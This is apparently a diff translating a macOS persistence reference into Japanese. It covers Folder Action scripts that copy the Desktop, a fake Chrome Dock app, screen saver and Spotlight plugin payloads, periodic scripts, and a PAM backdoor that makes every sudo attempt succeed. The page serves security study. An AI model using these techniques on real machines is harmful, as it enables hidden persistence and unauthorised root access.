[https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d](https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) - - But you need to be able to call `osascript` with arguments to contact **`System Events`** to be able to configure Folder Actions -- TCC bypass: [🟠](https://emojipedia.org/large-orange-circle) - - It has some basic TCC permissions like Desktop, Documents and Downloads +- サンドボックスを回避するのに便利: [✅](https://emojipedia.org/check-mark-button) +- ただし、フォルダーアクションを設定するために**`System Events`**に連絡するために引数付きで`osascript`を呼び出す必要があります +- TCCバイパス: [🟠](https://emojipedia.org/large-orange-circle) +- デスクトップ、ドキュメント、ダウンロードなどの基本的なTCC権限があります -#### Location +#### 場所 - **`/Library/Scripts/Folder Action Scripts`** - - Root required - - **Trigger**: Access to the specified folder +- ルート権限が必要 +- **トリガー**: 指定されたフォルダーへのアクセス - **`~/Library/Scripts/Folder Action Scripts`** - - **Trigger**: Access to the specified folder +- **トリガー**: 指定されたフォルダーへのアクセス -#### Description & Exploitation +#### 説明と悪用 -Folder Actions are scripts automatically triggered by changes in a folder such as adding, removing items, or other actions like opening or resizing the folder window. These actions can be utilized for various tasks, and can be triggered in different ways like using the Finder UI or terminal commands. +フォルダーアクションは、フォルダー内のアイテムの追加、削除、またはフォルダーウィンドウの開閉やサイズ変更などの変更によって自動的にトリガーされるスクリプトです。これらのアクションはさまざまなタスクに利用でき、Finder UIやターミナルコマンドを使用して異なる方法でトリガーできます。 -To set up Folder Actions, you have options like: +フォルダーアクションを設定するには、次のようなオプションがあります: -1. Crafting a Folder Action workflow with [Automator](https://support.apple.com/guide/automator/welcome/mac) and installing it as a service. -2. Attaching a script manually via the Folder Actions Setup in the context menu of a folder. -3. Utilizing OSAScript to send Apple Event messages to the `System Events.app` for programmatically setting up a Folder Action. - - This method is particularly useful for embedding the action into the system, offering a level of persistence. - -The following script is an example of what can be executed by a Folder Action: +1. [Automator](https://support.apple.com/guide/automator/welcome/mac)を使用してフォルダーアクションワークフローを作成し、サービスとしてインストールする。 +2. フォルダーのコンテキストメニューのフォルダーアクション設定を介してスクリプトを手動で添付する。 +3. OSAScriptを利用して`System Events.app`にApple Eventメッセージを送信し、プログラム的にフォルダーアクションを設定する。 +- この方法は、アクションをシステムに埋め込むのに特に便利で、持続性のレベルを提供します。 +以下のスクリプトは、フォルダーアクションによって実行できるものの例です: ```applescript // source.js var app = Application.currentApplication(); @@ -813,15 +758,11 @@ app.doShellScript("touch ~/Desktop/folderaction.txt"); app.doShellScript("mkdir /tmp/asd123"); app.doShellScript("cp -R ~/Desktop /tmp/asd123"); ``` - -To make the above script usable by Folder Actions, compile it using: - +フォルダアクションで上記のスクリプトを使用可能にするには、次のようにコンパイルします: ```bash osacompile -l JavaScript -o folder.scpt source.js ``` - -After the script is compiled, set up Folder Actions by executing the script below. This script will enable Folder Actions globally and specifically attach the previously compiled script to the Desktop folder. - +スクリプトがコンパイルされた後、以下のスクリプトを実行してフォルダアクションを設定します。このスクリプトは、フォルダアクションをグローバルに有効にし、特に以前にコンパイルされたスクリプトをデスクトップフォルダに添付します。 ```javascript // Enabling and attaching Folder Action var se = Application("System Events") @@ -831,17 +772,13 @@ var fa = se.FolderAction({ name: "Desktop", path: "/Users/username/Desktop" }) se.folderActions.push(fa) fa.scripts.push(myScript) ``` - -Run the setup script with: - +セットアップスクリプトを実行するには: ```bash osascript -l JavaScript /Users/username/attach.scpt ``` +- これはGUIを介してこの永続性を実装する方法です: -- This is the way yo implement this persistence via GUI: - -This is the script that will be executed: - +これは実行されるスクリプトです: ```applescript:source.js var app = Application.currentApplication(); app.includeStandardAdditions = true; @@ -850,59 +787,55 @@ app.doShellScript("touch ~/Desktop/folderaction.txt"); app.doShellScript("mkdir /tmp/asd123"); app.doShellScript("cp -R ~/Desktop /tmp/asd123"); ``` +`osacompile -l JavaScript -o folder.scpt source.js` でコンパイルします。 -Compile it with: `osacompile -l JavaScript -o folder.scpt source.js` - -Move it to: - +移動先: ```bash mkdir -p "$HOME/Library/Scripts/Folder Action Scripts" mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts" ``` - -Then, open the `Folder Actions Setup` app, select the **folder you would like to watch** and select in your case **`folder.scpt`** (in my case I called it output2.scp): +次に、`Folder Actions Setup`アプリを開き、**監視したいフォルダ**を選択し、あなたの場合は**`folder.scpt`**を選択します(私の場合はoutput2.scpと呼びました):
-Now, if you open that folder with **Finder**, your script will be executed. +今、**Finder**でそのフォルダを開くと、スクリプトが実行されます。 -This configuration was stored in the **plist** located in **`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** in base64 format. +この設定は、**plist**に保存されており、**`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`**にbase64形式で格納されています。 -Now, lets try to prepare this persistence without GUI access: +では、GUIアクセスなしでこの永続性を準備してみましょう: -1. **Copy `~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** to `/tmp` to backup it: - - `cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp` -2. **Remove** the Folder Actions you just set: +1. **`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`**をバックアップのために`/tmp`にコピーします: +- `cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp` +2. 先ほど設定したフォルダアクションを**削除**します:
-Now that we have an empty environment +今、空の環境ができました。 -3. Copy the backup file: `cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/` -4. Open the Folder Actions Setup.app to consume this config: `open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"` +3. バックアップファイルをコピーします:`cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/` +4. この設定を適用するためにFolder Actions Setup.appを開きます:`open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"` > [!CAUTION] -> And this didn't work for me, but those are the instructions from the writeup:( +> これは私にはうまくいきませんでしたが、これが書き込みの指示です:( -### Dock shortcuts +### Dockショートカット -Writeup: [https://theevilbit.github.io/beyond/beyond_0027/](https://theevilbit.github.io/beyond/beyond_0027/) +書き込み: [https://theevilbit.github.io/beyond/beyond_0027/](https://theevilbit.github.io/beyond/beyond_0027/) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) - - But you need to have installed a malicious application inside the system -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) +- サンドボックスをバイパスするのに便利: [✅](https://emojipedia.org/check-mark-button) +- ただし、システム内に悪意のあるアプリケーションがインストールされている必要があります +- TCCバイパス: [🔴](https://emojipedia.org/large-red-circle) -#### Location +#### 場所 - `~/Library/Preferences/com.apple.dock.plist` - - **Trigger**: When the user clicks on the app inside the dock +- **トリガー**: ユーザーがドック内のアプリをクリックしたとき -#### Description & Exploitation +#### 説明と悪用 -All the applications that appear in the Dock are specified inside the plist: **`~/Library/Preferences/com.apple.dock.plist`** - -It's possible to **add an application** just with: +ドックに表示されるすべてのアプリケーションは、plist内に指定されています:**`~/Library/Preferences/com.apple.dock.plist`** +アプリケーションを**追加する**ことは、次のようにして可能です: ```bash # Add /System/Applications/Books.app defaults write com.apple.dock persistent-apps -array-add 'tile-datafile-data_CFURLString/System/Applications/Books.app_CFURLStringType0' @@ -910,9 +843,7 @@ defaults write com.apple.dock persistent-apps -array-add 'tile-data /tmp/Google\ Chrome.app/Contents/Info.plist "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> - CFBundleExecutable - Google Chrome - CFBundleIdentifier - com.google.Chrome - CFBundleName - Google Chrome - CFBundleVersion - 1.0 - CFBundleShortVersionString - 1.0 - CFBundleInfoDictionaryVersion - 6.0 - CFBundlePackageType - APPL - CFBundleIconFile - app +CFBundleExecutable +Google Chrome +CFBundleIdentifier +com.google.Chrome +CFBundleName +Google Chrome +CFBundleVersion +1.0 +CFBundleShortVersionString +1.0 +CFBundleInfoDictionaryVersion +6.0 +CFBundlePackageType +APPL +CFBundleIconFile +app EOF @@ -965,92 +896,86 @@ cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chr defaults write com.apple.dock persistent-apps -array-add 'tile-datafile-data_CFURLString/tmp/Google Chrome.app_CFURLStringType0' killall Dock ``` - -### Color Pickers +### カラーピッカー Writeup: [https://theevilbit.github.io/beyond/beyond_0017](https://theevilbit.github.io/beyond/beyond_0017/) -- Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) - - A very specific action needs to happen - - You will end in another sandbox -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) +- サンドボックスをバイパスするのに便利: [🟠](https://emojipedia.org/large-orange-circle) +- 非常に特定のアクションが必要 +- 別のサンドボックスに入ることになる +- TCCバイパス: [🔴](https://emojipedia.org/large-red-circle) -#### Location +#### 場所 - `/Library/ColorPickers` - - Root required - - Trigger: Use the color picker +- ルートが必要 +- トリガー: カラーピッカーを使用 - `~/Library/ColorPickers` - - Trigger: Use the color picker +- トリガー: カラーピッカーを使用 -#### Description & Exploit +#### 説明とエクスプロイト -**Compile a color picker** bundle with your code (you could use [**this one for example**](https://github.com/viktorstrate/color-picker-plus)) and add a constructor (like in the [Screen Saver section](macos-auto-start-locations.md#screen-saver)) and copy the bundle to `~/Library/ColorPickers`. +**あなたのコードでカラーピッカー** バンドルをコンパイルし(例えば、[**これを使用できます**](https://github.com/viktorstrate/color-picker-plus))、コンストラクタを追加します([スクリーンセーバーセクション](macos-auto-start-locations.md#screen-saver)のように)そしてバンドルを `~/Library/ColorPickers` にコピーします。 -Then, when the color picker is triggered your should should be aswell. - -Note that the binary loading your library has a **very restrictive sandbox**: `/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64` +その後、カラーピッカーがトリガーされると、あなたのコードも実行されるはずです。 +ライブラリを読み込むバイナリは**非常に制限されたサンドボックス**を持っていることに注意してください: `/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64` ```bash [Key] com.apple.security.temporary-exception.sbpl - [Value] - [Array] - [String] (deny file-write* (home-subpath "/Library/Colors")) - [String] (allow file-read* process-exec file-map-executable (home-subpath "/Library/ColorPickers")) - [String] (allow file-read* (extension "com.apple.app-sandbox.read")) +[Value] +[Array] +[String] (deny file-write* (home-subpath "/Library/Colors")) +[String] (allow file-read* process-exec file-map-executable (home-subpath "/Library/ColorPickers")) +[String] (allow file-read* (extension "com.apple.app-sandbox.read")) ``` - ### Finder Sync Plugins **Writeup**: [https://theevilbit.github.io/beyond/beyond_0026/](https://theevilbit.github.io/beyond/beyond_0026/)\ **Writeup**: [https://objective-see.org/blog/blog_0x11.html](https://objective-see.org/blog/blog_0x11.html) -- Useful to bypass sandbox: **No, because you need to execute your own app** -- TCC bypass: ??? +- サンドボックスをバイパスするのに役立つ: **いいえ、独自のアプリを実行する必要があるため** +- TCCバイパス: ??? #### Location -- A specific app +- 特定のアプリ #### Description & Exploit -An application example with a Finder Sync Extension [**can be found here**](https://github.com/D00MFist/InSync). - -Applications can have `Finder Sync Extensions`. This extension will go inside an application that will be executed. Moreover, for the extension to be able to execute its code it **must be signed** with some valid Apple developer certificate, it must be **sandboxed** (although relaxed exceptions could be added) and it must be registered with something like: +Finder Sync Extensionを持つアプリケーションの例は[**こちら**](https://github.com/D00MFist/InSync)で見つけることができます。 +アプリケーションは`Finder Sync Extensions`を持つことができます。この拡張機能は実行されるアプリケーションの内部に入ります。さらに、拡張機能がそのコードを実行できるようにするためには、**有効なApple開発者証明書で署名されている必要があり**、**サンドボックス化されている必要があり**(ただし、緩和された例外が追加される可能性があります)し、何かに登録されている必要があります: ```bash pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex pluginkit -e use -i com.example.InSync.InSync ``` - -### Screen Saver +### スクリーンセーバー Writeup: [https://theevilbit.github.io/beyond/beyond_0016/](https://theevilbit.github.io/beyond/beyond_0016/)\ Writeup: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://posts.specterops.io/saving-your-access-d562bf5bf90b) -- Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) - - But you will end in a common application sandbox -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) +- サンドボックスをバイパスするのに便利: [🟠](https://emojipedia.org/large-orange-circle) +- しかし、一般的なアプリケーションのサンドボックスに入ることになります +- TCCバイパス: [🔴](https://emojipedia.org/large-red-circle) -#### Location +#### ロケーション - `/System/Library/Screen Savers` - - Root required - - **Trigger**: Select the screen saver +- ルートが必要 +- **トリガー**: スクリーンセーバーを選択 - `/Library/Screen Savers` - - Root required - - **Trigger**: Select the screen saver +- ルートが必要 +- **トリガー**: スクリーンセーバーを選択 - `~/Library/Screen Savers` - - **Trigger**: Select the screen saver +- **トリガー**: スクリーンセーバーを選択
-#### Description & Exploit +#### 説明 & エクスプロイト -Create a new project in Xcode and select the template to generate a new **Screen Saver**. Then, are your code to it, for example the following code to generate logs. - -**Build** it, and copy the `.saver` bundle to **`~/Library/Screen Savers`**. Then, open the Screen Saver GUI and it you just click on it, it should generate a lot of logs: +Xcodeで新しいプロジェクトを作成し、新しい**スクリーンセーバー**を生成するためのテンプレートを選択します。次に、コードを追加します。例えば、ログを生成するための以下のコードです。 +**ビルド**して、`.saver`バンドルを**`~/Library/Screen Savers`**にコピーします。次に、スクリーンセーバーGUIを開き、それをクリックすると、多くのログが生成されるはずです: ```bash sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "hello_screensaver"' @@ -1059,12 +984,10 @@ Timestamp (process)[PID] 2023-09-27 22:55:39.622623+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView initWithFrame:isPreview:] 2023-09-27 22:55:39.622704+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView hasConfigureSheet] ``` - > [!CAUTION] -> Note that because inside the entitlements of the binary that loads this code (`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`) you can find **`com.apple.security.app-sandbox`** you will be **inside the common application sandbox**. +> 注意してください。このコードを読み込むバイナリの権限内に(`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`)**`com.apple.security.app-sandbox`**が含まれているため、あなたは**一般的なアプリケーションサンドボックス内**にいます。 Saver code: - ```objectivec // // ScreenSaverExampleView.m @@ -1079,159 +1002,154 @@ Saver code: - (instancetype)initWithFrame:(NSRect)frame isPreview:(BOOL)isPreview { - NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); - self = [super initWithFrame:frame isPreview:isPreview]; - if (self) { - [self setAnimationTimeInterval:1/30.0]; - } - return self; +NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); +self = [super initWithFrame:frame isPreview:isPreview]; +if (self) { +[self setAnimationTimeInterval:1/30.0]; +} +return self; } - (void)startAnimation { - NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); - [super startAnimation]; +NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); +[super startAnimation]; } - (void)stopAnimation { - NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); - [super stopAnimation]; +NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); +[super stopAnimation]; } - (void)drawRect:(NSRect)rect { - NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); - [super drawRect:rect]; +NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); +[super drawRect:rect]; } - (void)animateOneFrame { - NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); - return; +NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); +return; } - (BOOL)hasConfigureSheet { - NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); - return NO; +NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); +return NO; } - (NSWindow*)configureSheet { - NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); - return nil; +NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); +return nil; } __attribute__((constructor)) void custom(int argc, const char **argv) { - NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); +NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); } @end ``` - ### Spotlight Plugins writeup: [https://theevilbit.github.io/beyond/beyond_0011/](https://theevilbit.github.io/beyond/beyond_0011/) -- Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) - - But you will end in an application sandbox -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) - - The sandbox looks very limited +- サンドボックスをバイパスするのに便利: [🟠](https://emojipedia.org/large-orange-circle) +- しかし、アプリケーションサンドボックスに入ることになります +- TCCバイパス: [🔴](https://emojipedia.org/large-red-circle) +- サンドボックスは非常に制限されています #### Location - `~/Library/Spotlight/` - - **Trigger**: A new file with a extension managed by the spotlight plugin is created. +- **Trigger**: Spotlightプラグインによって管理される拡張子の新しいファイルが作成されます。 - `/Library/Spotlight/` - - **Trigger**: A new file with a extension managed by the spotlight plugin is created. - - Root required +- **Trigger**: Spotlightプラグインによって管理される拡張子の新しいファイルが作成されます。 +- Rootが必要 - `/System/Library/Spotlight/` - - **Trigger**: A new file with a extension managed by the spotlight plugin is created. - - Root required +- **Trigger**: Spotlightプラグインによって管理される拡張子の新しいファイルが作成されます。 +- Rootが必要 - `Some.app/Contents/Library/Spotlight/` - - **Trigger**: A new file with a extension managed by the spotlight plugin is created. - - New app required +- **Trigger**: Spotlightプラグインによって管理される拡張子の新しいファイルが作成されます。 +- 新しいアプリが必要 #### Description & Exploitation -Spotlight is macOS's built-in search feature, designed to provide users with **quick and comprehensive access to data on their computers**.\ -To facilitate this rapid search capability, Spotlight maintains a **proprietary database** and creates an index by **parsing most files**, enabling swift searches through both file names and their content. +SpotlightはmacOSの組み込み検索機能であり、ユーザーに**コンピュータ上のデータへの迅速かつ包括的なアクセスを提供する**ことを目的としています。\ +この迅速な検索機能を実現するために、Spotlightは**独自のデータベース**を維持し、**ほとんどのファイルを解析することによってインデックスを作成し**、ファイル名とその内容の両方を迅速に検索できるようにしています。 -The underlying mechanism of Spotlight involves a central process named 'mds', which stands for **'metadata server'.** This process orchestrates the entire Spotlight service. Complementing this, there are multiple 'mdworker' daemons that perform a variety of maintenance tasks, such as indexing different file types (`ps -ef | grep mdworker`). These tasks are made possible through Spotlight importer plugins, or **".mdimporter bundles**", which enable Spotlight to understand and index content across a diverse range of file formats. +Spotlightの基本的なメカニズムは、**'metadata server'**を意味する'mds'という中央プロセスに関与しています。このプロセスは、Spotlightサービス全体を調整します。これに加えて、さまざまなメンテナンスタスクを実行する複数の'mdworker'デーモンがあります(`ps -ef | grep mdworker`)。これらのタスクは、Spotlightがさまざまなファイル形式のコンテンツを理解しインデックス化できるようにするSpotlightインポータープラグイン、または**".mdimporter bundles"**によって可能になります。 -The plugins or **`.mdimporter`** bundles are located in the places mentioned previously and if a new bundle appear it's loaded within monute (no need to restart any service). These bundles need to indicate which **file type and extensions they can manage**, this way, Spotlight will use them when a new file with the indicated extension is created. - -It's possible to **find all the `mdimporters`** loaded running: +プラグインまたは**`.mdimporter`**バンドルは前述の場所にあり、新しいバンドルが現れると、数分以内にロードされます(サービスを再起動する必要はありません)。これらのバンドルは、管理できる**ファイルタイプと拡張子**を示す必要があります。このようにして、Spotlightは指定された拡張子の新しいファイルが作成されたときにそれらを使用します。 +すべての`mdimporters`を見つけることが可能です。 ```bash mdimport -L Paths: id(501) ( - "/System/Library/Spotlight/iWork.mdimporter", - "/System/Library/Spotlight/iPhoto.mdimporter", - "/System/Library/Spotlight/PDF.mdimporter", - [...] +"/System/Library/Spotlight/iWork.mdimporter", +"/System/Library/Spotlight/iPhoto.mdimporter", +"/System/Library/Spotlight/PDF.mdimporter", +[...] ``` - -And for example **/Library/Spotlight/iBooksAuthor.mdimporter** is used to parse these type of files (extensions `.iba` and `.book` among others): - +例えば **/Library/Spotlight/iBooksAuthor.mdimporter** は、これらのタイプのファイル(拡張子 `.iba` や `.book` など)を解析するために使用されます: ```json plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist [...] "CFBundleDocumentTypes" => [ - 0 => { - "CFBundleTypeName" => "iBooks Author Book" - "CFBundleTypeRole" => "MDImporter" - "LSItemContentTypes" => [ - 0 => "com.apple.ibooksauthor.book" - 1 => "com.apple.ibooksauthor.pkgbook" - 2 => "com.apple.ibooksauthor.template" - 3 => "com.apple.ibooksauthor.pkgtemplate" - ] - "LSTypeIsPackage" => 0 - } - ] +0 => { +"CFBundleTypeName" => "iBooks Author Book" +"CFBundleTypeRole" => "MDImporter" +"LSItemContentTypes" => [ +0 => "com.apple.ibooksauthor.book" +1 => "com.apple.ibooksauthor.pkgbook" +2 => "com.apple.ibooksauthor.template" +3 => "com.apple.ibooksauthor.pkgtemplate" +] +"LSTypeIsPackage" => 0 +} +] [...] - => { - "UTTypeConformsTo" => [ - 0 => "public.data" - 1 => "public.composite-content" - ] - "UTTypeDescription" => "iBooks Author Book" - "UTTypeIdentifier" => "com.apple.ibooksauthor.book" - "UTTypeReferenceURL" => "http://www.apple.com/ibooksauthor" - "UTTypeTagSpecification" => { - "public.filename-extension" => [ - 0 => "iba" - 1 => "book" - ] - } - } +=> { +"UTTypeConformsTo" => [ +0 => "public.data" +1 => "public.composite-content" +] +"UTTypeDescription" => "iBooks Author Book" +"UTTypeIdentifier" => "com.apple.ibooksauthor.book" +"UTTypeReferenceURL" => "http://www.apple.com/ibooksauthor" +"UTTypeTagSpecification" => { +"public.filename-extension" => [ +0 => "iba" +1 => "book" +] +} +} [...] ``` - > [!CAUTION] -> If you check the Plist of other `mdimporter` you might not find the entry **`UTTypeConformsTo`**. Thats because that is a built-in _Uniform Type Identifiers_ ([UTI](https://en.wikipedia.org/wiki/Uniform_Type_Identifier)) and it doesn't need to specify extensions. +> 他の `mdimporter` の Plist を確認すると、**`UTTypeConformsTo`** エントリが見つからないかもしれません。これは、組み込みの _Uniform Type Identifiers_ ([UTI](https://en.wikipedia.org/wiki/Uniform_Type_Identifier)) であり、拡張子を指定する必要がないためです。 > -> Moreover, System default plugins always take precedence, so an attacker can only access files that are not otherwise indexed by Apple's own `mdimporters`. +> さらに、システムのデフォルトプラグインは常に優先されるため、攻撃者はApple自身の `mdimporters` によってインデックスされていないファイルにのみアクセスできます。 -To create your own importer you could start with this project: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) and then change the name, the **`CFBundleDocumentTypes`** and add **`UTImportedTypeDeclarations`** so it supports the extension you would like to support and refelc them in **`schema.xml`**.\ -Then **change** the code of the function **`GetMetadataForFile`** to execute your payload when a file with the processed extension is created. +独自のインポータを作成するには、このプロジェクトから始めることができます: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) そして名前、**`CFBundleDocumentTypes`** を変更し、サポートしたい拡張子をサポートするために **`UTImportedTypeDeclarations`** を追加し、**`schema.xml`** に反映させます。\ +次に、ファイルが処理された拡張子で作成されたときにペイロードを実行するように、関数 **`GetMetadataForFile`** のコードを **変更** します。 -Finally **build and copy your new `.mdimporter`** to one of thre previous locations and you can chech whenever it's loaded **monitoring the logs** or checking **`mdimport -L.`** +最後に、**新しい `.mdimporter` をビルドしてコピー**し、以前のいずれかの場所に配置し、**ログを監視する**か **`mdimport -L.`** をチェックして、読み込まれているかどうかを確認できます。 ### ~~Preference Pane~~ > [!CAUTION] -> It doesn't look like this is working anymore. +> これがもう機能していないようです。 Writeup: [https://theevilbit.github.io/beyond/beyond_0009/](https://theevilbit.github.io/beyond/beyond_0009/) -- Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) - - It needs a specific user action -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) +- サンドボックスをバイパスするのに役立ちます: [🟠](https://emojipedia.org/large-orange-circle) +- 特定のユーザーアクションが必要です +- TCC バイパス: [🔴](https://emojipedia.org/large-red-circle) #### Location @@ -1241,34 +1159,33 @@ Writeup: [https://theevilbit.github.io/beyond/beyond_0009/](https://theevilbit.g #### Description -It doesn't look like this is working anymore. +これがもう機能していないようです。 ## Root Sandbox Bypass > [!TIP] -> Here you can find start locations useful for **sandbox bypass** that allows you to simply execute something by **writing it into a file** being **root** and/or requiring other **weird conditions.** +> ここでは、**ルート** で **ファイルに書き込む** ことによって何かを単純に実行できる **サンドボックスバイパス** に役立つ開始位置を見つけることができます。 ### Periodic Writeup: [https://theevilbit.github.io/beyond/beyond_0019/](https://theevilbit.github.io/beyond/beyond_0019/) -- Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) - - But you need to be root -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) +- サンドボックスをバイパスするのに役立ちます: [🟠](https://emojipedia.org/large-orange-circle) +- しかし、ルートである必要があります +- TCC バイパス: [🔴](https://emojipedia.org/large-red-circle) #### Location - `/etc/periodic/daily`, `/etc/periodic/weekly`, `/etc/periodic/monthly`, `/usr/local/etc/periodic` - - Root required - - **Trigger**: When the time comes -- `/etc/daily.local`, `/etc/weekly.local` or `/etc/monthly.local` - - Root required - - **Trigger**: When the time comes +- ルートが必要 +- **Trigger**: 時間が来たとき +- `/etc/daily.local`, `/etc/weekly.local` または `/etc/monthly.local` +- ルートが必要 +- **Trigger**: 時間が来たとき #### Description & Exploitation -The periodic scripts (**`/etc/periodic`**) are executed because of the **launch daemons** configured in `/System/Library/LaunchDaemons/com.apple.periodic*`. Note that scripts stored in `/etc/periodic/` are **executed** as the **owner of the file,** so this won't work for a potential privilege escalation. - +定期的なスクリプト (**`/etc/periodic`**) は、`/System/Library/LaunchDaemons/com.apple.periodic*` に設定された **launch daemons** によって実行されます。`/etc/periodic/` に保存されたスクリプトは **ファイルの所有者として実行される** ため、これは潜在的な特権昇格には機能しません。 ```bash # Launch daemons that will execute the periodic scripts ls -l /System/Library/LaunchDaemons/com.apple.periodic* @@ -1299,52 +1216,44 @@ total 24 total 8 -rwxr-xr-x 1 root wheel 620 May 13 00:29 999.local ``` - -There are other periodic scripts that will be executed indicated in **`/etc/defaults/periodic.conf`**: - +**`/etc/defaults/periodic.conf`** に示されている他の定期的なスクリプトが実行されます: ```bash grep "Local scripts" /etc/defaults/periodic.conf daily_local="/etc/daily.local" # Local scripts weekly_local="/etc/weekly.local" # Local scripts monthly_local="/etc/monthly.local" # Local scripts ``` - -If you manage to write any of the files `/etc/daily.local`, `/etc/weekly.local` or `/etc/monthly.local` it will be **executed sooner or later**. +もし `/etc/daily.local`、`/etc/weekly.local`、または `/etc/monthly.local` のいずれかのファイルを書き込むことができれば、それは**遅かれ早かれ実行されます**。 > [!WARNING] -> Note that the periodic script will be **executed as the owner of the script**. So if a regular user owns the script, it will be executed as that user (this might prevent privilege escalation attacks). +> 定期的なスクリプトは**スクリプトの所有者として実行される**ことに注意してください。したがって、通常のユーザーがスクリプトを所有している場合、それはそのユーザーとして実行されます(これにより特権昇格攻撃が防止される可能性があります)。 ### PAM Writeup: [Linux Hacktricks PAM](../linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md)\ Writeup: [https://theevilbit.github.io/beyond/beyond_0005/](https://theevilbit.github.io/beyond/beyond_0005/) -- Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) - - But you need to be root -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) +- サンドボックスをバイパスするのに便利: [🟠](https://emojipedia.org/large-orange-circle) +- ただし、rootである必要があります +- TCCバイパス: [🔴](https://emojipedia.org/large-red-circle) #### Location -- Root always required +- 常にrootが必要 #### Description & Exploitation -As PAM is more focused in **persistence** and malware that on easy execution inside macOS, this blog won't give a detailed explanation, **read the writeups to understand this technique better**. - -Check PAM modules with: +PAMは**持続性**とマルウェアにより焦点を当てているため、macOS内での簡単な実行にはあまり焦点を当てていません。このブログでは詳細な説明は行いませんので、**この技術をよりよく理解するために書き込みを読んでください**。 +PAMモジュールを確認するには: ```bash ls -l /etc/pam.d ``` - -A persistence/privilege escalation technique abusing PAM is as easy as modifying the module /etc/pam.d/sudo adding at the beginning the line: - +PAMを悪用した永続性/特権昇格技術は、/etc/pam.d/sudoモジュールを修正し、最初に次の行を追加するだけで簡単です: ```bash auth sufficient pam_permit.so ``` - -So it will **looks like** something like this: - +それは**このように**見えるでしょう: ```bash # sudo: auth account password session auth sufficient pam_permit.so @@ -1355,14 +1264,12 @@ account required pam_permit.so password required pam_deny.so session required pam_permit.so ``` - -And therefore any attempt to use **`sudo` will work**. +したがって、**`sudo`を使用する試みはすべて成功します**。 > [!CAUTION] -> Note that this directory is protected by TCC so it's highly probably that the user will get a prompt asking for access. - -Another nice example is su, were you can see that it's also possible to give parameters to the PAM modules (and you coukd also backdoor this file): +> このディレクトリはTCCによって保護されているため、ユーザーがアクセスを求めるプロンプトが表示される可能性が非常に高いことに注意してください。 +もう一つの良い例はsuで、PAMモジュールにパラメータを渡すことも可能であることがわかります(このファイルにバックドアを仕掛けることもできます): ```bash cat /etc/pam.d/su # su: auth account session @@ -1373,26 +1280,24 @@ account required pam_opendirectory.so no_check_shell password required pam_opendirectory.so session required pam_launchd.so ``` - -### Authorization Plugins +### 認証プラグイン Writeup: [https://theevilbit.github.io/beyond/beyond_0028/](https://theevilbit.github.io/beyond/beyond_0028/)\ Writeup: [https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65](https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65) -- Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) - - But 